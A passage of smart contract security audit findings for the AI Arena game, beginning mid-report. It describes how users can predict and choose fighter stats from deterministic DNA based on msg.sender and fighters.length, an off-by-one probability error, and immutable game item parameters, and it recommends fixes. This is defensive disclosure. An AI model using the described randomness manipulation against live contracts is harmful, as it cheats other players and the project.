Since the user can influence the msg.sender which is part of the calculation of the DNA, he can reverse engineer the address needed for a specific outcome he wants, send the fighter to this address and do the reroll from there. Since all formulars used to determine the final specs use a remainder and the biggest divider for this is 100, 1 out of 100 addresses will work. Creating the right address is therefore not that hard and is not connected to any cost since one can create new addresses for free.

This puts tech savvy users in a big advantage compared to normal users who did not read the code of the smart contract.

Tools Used

Manual review

Recommended Mitigation Steps

To fix this issue and make the reroll of fighters fairer and truly randome consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the new fighter stats.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L313-L331

Vulnerability details

Impact

If a user wins a fighter from the mergPool he can claim it by calling MergePool:claimRewards which will call FighterFarm:mintFromMeregingPool. This function will create a new fighter with stats depending on the DNA variable. The issue is that the DNA is calculated using the msg.sender(which will always be the mergePool address) and the number of existing fighters. This means the user can pre calculate the DNA and therefor the resulting stats of the new fighter. He therefore can chose the new stats he wants, calculate the DNA he needs for them and thereby determine the number of fighters there need to be at the moment of mint. By now timing the mint of his fighter right he can get exactly the stat he wants.

Proof of Concept

When FighterFarm:mintFromMeregingPool is called, the DNA that determines the fighters attributes is calculated by using msg.sender and the number of existing fighters:

uint256(keccak256(abi.encode(msg.sender, fighters.length))),

This DNA is then used to determine the new weight and element as well as the new physical attributes of the fighter.

The problem is that the calculation of the stats mentioned above are based on deterministic formulars which components are visible in the code or can be extracted from the blockchain. Following as an example the formulars for the element and the weight:

uint256 element = dna % numElements[generation[fighterType]];

uint256 weight = dna % 31 + 65;

Since the msg.sender will always be the MergePoolAddress and the user can influence the fighters.length, which is part of the calculation of the DNA, by timing his mint right, he can reverse engineer the fighters.length needed for a specific outcome he wants, wait until the number of fighters are present and mint his fighter then.

Tools Used

Manual review

Recommended Mitigation Steps

To fix this issue and make the creation of new fighters from the mergePool fairer and truly randome consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the new fighter stats.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/FighterFarm.sol#L191-L222

Vulnerability details

Impact

If a user gets new fighters he can claim them by calling FighterFarm:claimFighters() which will create a new fighter with stats depending on the DNA. The issue is that the DNA is calculated using the msg.sender (which will always be the user address) and the number of existing fighters. This means the user can pre calculate the DNA and therefor the resulting stats of the new fighter. He therefore can choose the new stats he wants, calculate the DNA he needs for them and thereby determine the number of fighters there need to be at the moment of mint. By now timing the mint of his fighter right he can get exactly the stat he wants.

Proof of Concept

When FighterFarm:claimFightres is called, the DNA that determines the fighters attributes is calculated by using msg.sender and the number of existing fighters:

uint256(keccak256(abi.encode(msg.sender, fighters.length))),

This DNA is then used to determine the new weight and element as well as the new physical attributes of the fighter.

The problem is that the calculation of the stats mentioned above are based on deterministic formulars which components are visible in the code or can be extracted from the blockchain. Following as an example the formulars for the element and the weight:

uint256 element = dna % numElements[generation[fighterType]];

uint256 weight = dna % 31 + 65;

Since the msg.sender will always be the users address and the user can influence the fighters.length which is part of the calculation of the DNA by timing his mint right, he can reverse engineer the fighters.length needed for a specific outcome he wants, wait until the number of fighters are present and mint his fighter than.

Tools Used

Manual review

Recommended Mitigation Steps

To fix this issue and make the creation of new fighters from the function claimFighters fairer and truly random, consider using a truly random oracle like the LINK VRF to generate a random DNA that is then used for the calculation of the new fighter stats.

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/AiArenaHelper.sol#L176-L185

Vulnerability details

Impact

The function AiArenaHelper:dnaToIndex() which converts a rarityRank to an attributeIndex is currently implemented wrongly and changes the intended probabilities for the body part variations. The result is that the first probability is 1% higher and the last probability is 1% lower than intended. This can result in a part that should have a probability of 1% and is last in the list to never be minted.

Proof of Concept

When creating the physical appearance of a new fighter, his DAN is used to determine the rarityRank of each body part (a number between 0 and 99). This rarityRank is then used in combination with the globally saves attributeProbabilities to determine the attributeProbabilityIndex for each part. Those attributeProbabilityIndexes represent a specific part variation, eg. “blue eyes” or “green eyes” and start with the index 1. The attributeProbabilities sum up to 100 and represent the probability a specific part will be minted.

The issue arises from the fact that the potential rarityRank for a part is a number between 0 and 99 but the current implementation expects a number between 1 and 100:

        uint8[] memory attrProbabilities = getAttributeProbabilities(generation, attribute);   
        uint256 cumProb = 0;
        uint256 attrProbabilitiesLength = attrProbabilities.length;
        for (uint8 i = 0; i < attrProbabilitiesLength; i++) {
            cumProb += attrProbabilities[i];
            if (cumProb >= rarityRank) {
                attributeProbabilityIndex = i + 1;
                break;
            }
        }
        return attributeProbabilityIndex;
    }

Following an example to illustrate the change in probabilities:

The first probability in the attrProbabilities array is 1 meaning that there should only be a 1% chance (1 value for rarityRank) that rarityRank "hits" this index. For the first loop: cumProb += attrProbabilities[i] = 0 + 1 = 1

Two values for rarityRank (0 and 1) satisfy the next check ( if (cumProb >= rarityRank)) making the probability 2% not 1%.

On the other hand, if the last probability is 1 and the cumProb totals 100, there is no number between 0 and 99 that satisfies the check if (cumProb >= rarityRank) since the possible values are only between 0 and 99. => Result: the current implementation increases the first probability by 1% and decreases the last probability by 1%. In the worst case this can result in a part never to be minted if it is supposed to have a 1% chance to be minted and is last in the row of probabilities.

Recommended Mitigation Steps

Make the variable cumProb an int256 instead of an uint256 and initiate it to -1

int256 cumProb = -1;

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/GameItems.sol#L126-L134

Vulnerability details

Impact

Not being able to adjust key parameters of the GameItems reduces the flexibility of the developer team and can lead to problems down the road that can not be fixed by creating a new item.

Proof of Concept

In the contract gameItems the owner of the contract can create new items that can be used within the game. Those items have the following attributes: name => name of the Item finiteSupply => if the number of items that can be minted is limited or not transferable => if this item can be transferred to another user itemsRemaining => remaining items if the supply is finite itemPrice => price to pay for minting this item dailyAllowance => amount of items a user can mint per day

Once the item is created only the parameter transferable can be changed by calling adjustTransferability. All other attributes can not be changed because there is now function implemented for this.

The missing possibility to change the other attributes reduces the flexibility of the developers and can lead to problems down the road. For example, if the token price for the NRN token increases significantly, lets say to 1 USD, the current price for a battery of 10 NRN might not be realistic any more but it could never be changed. One could just create a new item with a lower price but since the item ID for batteries is hard coded in e.g. the voltageManager contract this would require redeploying a new version of this contract with all the complications connected with this.

Recommended Mitigation Steps

Consider implementing functions to adjust the other game item parameters.

Assessed type

Other